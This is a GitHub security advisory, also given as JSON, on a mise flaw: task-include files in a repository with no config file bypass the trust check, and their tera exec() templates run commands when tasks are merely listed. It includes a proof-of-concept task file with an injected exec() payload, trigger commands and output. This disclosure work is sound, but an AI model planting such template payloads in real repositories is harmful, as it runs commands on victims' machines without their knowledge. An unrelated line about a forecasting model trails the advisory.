GHSA-77G9-363W-RCCQ

Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24
VLAI
Summary
Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository
Details

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

  • src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?
  • src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?
  • src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
        …
    }
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux
Severity
8.6 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732",
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T18:24:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nmise\u0027s trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, \u2026) but no config file, mise falls back to the default includes and renders each task\u0027s tera fields \u2014 and that tera environment has `exec()` registered. A `{{ exec(command=\u0027\u2026\u0027) }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There\u0027s no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` \u2014 `MiseToml::from_str` \u2192 `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` \u2014 `.tool-versions` parser \u2192 `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` \u2014 env templates \u2192 `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds \u2014 with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n    .iter()\n    .find_map(|cf| match cf.task_config_includes() { \u2026 })\n    .transpose()?\n    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n\u2026\nfor include in \u0026includes {\n    let paths = \u2026 expand_task_include(\u0026resolve_dir, include);\n    for p in paths {\n        let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n        \u2026\n    }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) \u2026 ;        // no trust_check\n\u2026\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { \u2026 }  // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n\u2026\nif contains_template_syntax(\u0026self.description) {\n    self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\nSo a tera `{{ exec(command=\u0027\u2026\u0027) }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, \u2026) of a TOML\ntask file \u2014 or in a `#MISE description=\"\u2026\"` header of an executable script task\n(`Task::from_path`) \u2014 executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n\u2514\u2500\u2500 mise-tasks/\n    \u2514\u2500\u2500 ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command=\u0027id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt\u0027) }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\"          # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks            # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)\u2026\nlinux \n```",
  "id": "GHSA-77g9-363w-rccq",
  "modified": "2026-06-23T18:24:08Z",
  "published": "2026-06-23T18:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository"
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

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